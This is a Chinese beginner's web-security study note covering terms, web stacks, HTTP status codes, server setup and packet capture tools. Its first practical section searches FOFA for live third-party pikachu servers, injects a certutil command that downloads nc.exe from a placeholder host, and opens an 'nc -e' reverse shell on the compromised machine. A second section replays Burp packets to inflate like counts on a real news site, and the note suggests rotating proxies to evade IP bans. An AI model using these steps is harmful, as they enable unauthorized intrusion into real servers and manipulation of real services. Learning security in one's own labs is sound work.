安全基础从0开始

文章目录

常见名词
- 小实战
网站搭建
- 小实战
- 抓包模拟器
- 状态码返回值
- 网站搭建
- WEB应用安全漏洞
数据包&封包&信息收集
- **参考点**

常见名词

前后端，POC/EXP，Payload/Shellcode，后门/Webshell，木马/病毒，

反弹，回显，跳板，黑白盒测试，暴力破解，社会工程学，撞库，ATT&CK等

名词解释

小实战

在fofa暗网浏览器中，使用"pikachu" && country="CN" && title="Get the pikachu"命令，查询在线pikachu服务器，进入测试命令执行漏洞
执行命令，查看回显
查看本机是哪种服务器，接着使用下载命令，将远程连接nc下载到本地，并命名为n.exe
文档下载命令转换
选择CMD下载命令，复制命令，使用命令执行127.0.0.1 & certutil.exe -urlcache -split -f http://www.xxx.com:80/nc.exe n.exe，出现以下，表示下载完成，也可以使用dir查看
接着在想要反弹shell的电脑上使用命令 nc -lvvp 端口号(5566)监听端口；在肉机上用nc -e /bin/sh(或cmd) 目标ip 5566；成功连接上远端服务器。

网站搭建

Web应用&架构搭建&漏洞概念&HTTP

Web应用&架构
理解不同WEB应用组成角色功能架构:
开发语言，程序源码，中间件容器，数据库类型，服务器操作系统，第三方软件等
开发语言：asp,php,aspx,jsp,java,python,ruby,go,html,javascript等
程序源码：根据开发语言分类；应用类型分类；开源CMS分类；开发框架分类等
中间件容器：IIS,Apache,Nginx,Tomcat,Weblogic,Jboos,glasshfish等
数据库类型：Access,Mysql,Mssql,Oracle,db2,Sybase,Redis,MongoDB等
服务器操作系统：Windows系列，Linux系列，Mac系列等
第三方软件：phpmyadmin,vs-ftpd,VNC,ELK,Openssh等

小实战

一个好玩的东西，新浪新闻点赞，在不登陆的情况下只能点赞一次，究其原因应该是浏览器前端问题，可以刷新页面继续点赞，也可以截取数据包，多次发送就能解决仅能发送一次的问题。

已经点赞后，无论如何去点都无法再次增加点赞量，此时的点赞量为229。

开启burpsuite抓包，并右键送至中继器(repeater)
关闭抓包，在repeater中继续send数据包，刷新网页查看点赞量，此时的点赞量已经到了250次了。

抓包模拟器

在PC端显现出来的浏览器与手机端浏览器显现出来的不同，使用burpsuite抓包，观看数据包的区别。

在burpsuite中配置代理，其中127是本地浏览器抓包，10是对该计算机局域网内进行抓包(特指模拟器)
模拟器更改配置，代理--手动，代理服务器主机名改为本机IP地址，dialing端口与上述一致，为8888，如下：
分别在PC端与模拟器上抓包，让数据流经burp抓包工具，如下：

通过User-Agent可知其发生差异的原因

状态码返回值

参考文章1
参考文章2
400：发送请求有语法错误
403：文件夹存在，没有权限访问
404：访问资源不存在(文件/文件夹)
3xx：跳转，处置过程，判断可有可无
    重定向（302）
5xx：内部错误，服务器问题，判断可有可无
    500.服务器内部异常
    504.服务器请求超时，没有返回结果

在对目标进行扫描时，尽量勾选它们，为了不放过任何结果，需要进行扫描
购买快代理，可以随时更换ip，防止ip被封禁，也可以实现VPN的功效。

网站搭建

安装的前提条件：

拥有一台自己的服务器和属于自己的域名(域名要进行备案，如果不备案只能在大陆之外进行访问)
服务器安装宝塔集成环境，方便操作使用
选用远程连接工具，可以使用Windows自带的远程连接，也可以使用FinalShell进行连接，在远程服务器上进行操作

选择安装
选用Windows搭建：

使用远端mstsc进行搭建，域名没有在国内备案，在阿里云选用大陆之外的云服务器
选用按量收费，双核4G，服务器选用Windows版本
确认下单之后，配置安全组，配置服务器密码，这些后期都能进行配置
在服务器上下载宝塔，需要注册，在域名处提前配置好，将域名访问映射到服务器的ip，宝塔账号密码是随机的
直接关掉该页面，会出现控制面板工具，复制面板地址到本机浏览器，开始网站的部署。
进入以下界面，可以选择傻瓜式安装，也可以自己进行配置安装，在软件商店中选择。

Win参考连接
Linux参考连接

WEB应用安全漏洞

Web应用安全漏洞分类
SQL注入，文件安全，RCE执行，XSS跨站，CSRF/SSRF/CRLF，
反序列化，逻辑越权，未授权访问，XXE/XML，弱口令安全等

安全漏洞解释

数据包&封包&信息收集

参考连接

抓包的意义：在我们安全测试中，对方可能会提供相对应的ip 地址，域名等等，那么有的应用是不会给你的，当在你测试的时候是不知道对方的目标名字什么的，那么我们就可以通过抓取数据包来获得你想要的信息，例如，对方主机/ip，或者与其相关的信息。

抓包的对象：那么抓包他主要是针对协议去抓取的，根据不同的协议配对不同的抓包工具，就好比我们的网站他可以用BURP抓包工具，那么我们的APP或者小程序，它就不行了我们的BURP就抓取不到，为什么，因为我们的APP/小程序他走的不是HTTP协议的，所有抓取不到。

抓包的协议：抓包的协议呢，就是我们的APP，它也可以是HTTP协议的走向，因为我们的HTML5就能做出APP，那么我们HTML5他的走向协议就是http协议，那个APP点开其实就是打开网站了，你留心可以发现，网站有一些网站和我们点开APP十分像

抓包的支持：其实就是目标他支持哪些抓包工具，支持哪些协议

封包的意义：封包他就能自定义我们的一个数据包，封包技术说简单也不简单，就是将一系列操作封装为数据包，方便使用，很多我们的外挂都用到封包技术，就相当于说你自定义一个数据包封装发送给服务器

参考点

Fiddler：
是一个http协议调试代理工具，它能够记录并检查所有你的电脑和互联网之间的http通讯，设置断点，查看所有的“进出”Fiddler的数据（指cookie,html,js,css等文件）。 Fiddler 要比其他的网络调试器要更加简单，因为它不仅仅暴露http通讯还提供了一个用户友好的格式。

手机证书安装，需要将防火墙关闭，安装证书步骤参考

Charles：
是一个HTTP代理服务器,HTTP监视器,反转代理服务器，当浏览器连接Charles的代理访问互联网时，Charles可以监控浏览器发送和接收的所有数据。它允许一个开发者查看所有连接互联网的HTTP通信，这些包括request, response和HTTP headers （包含cookies与caching信息）。

在模拟器中添加证书，help -->SSLproxying --> save Charles root certificate，保存之后，在模拟器中保存到文件夹中，接着设置-安全-(加密与凭据)用户凭据-从存储设备安装 / 设置-WALN-更多WALN设置-安装证书，接着会让输入密码，安装就能抓包。

抓取的包全部出现unknow的解决方法：
proxy --> SSL Proxying Settings --> Add
来添加主机和端口，
如果个别情况出现unknow，可能是本身抓包软件存在个别漏抓问题。可以忽略

工具栏
从左到右分别为：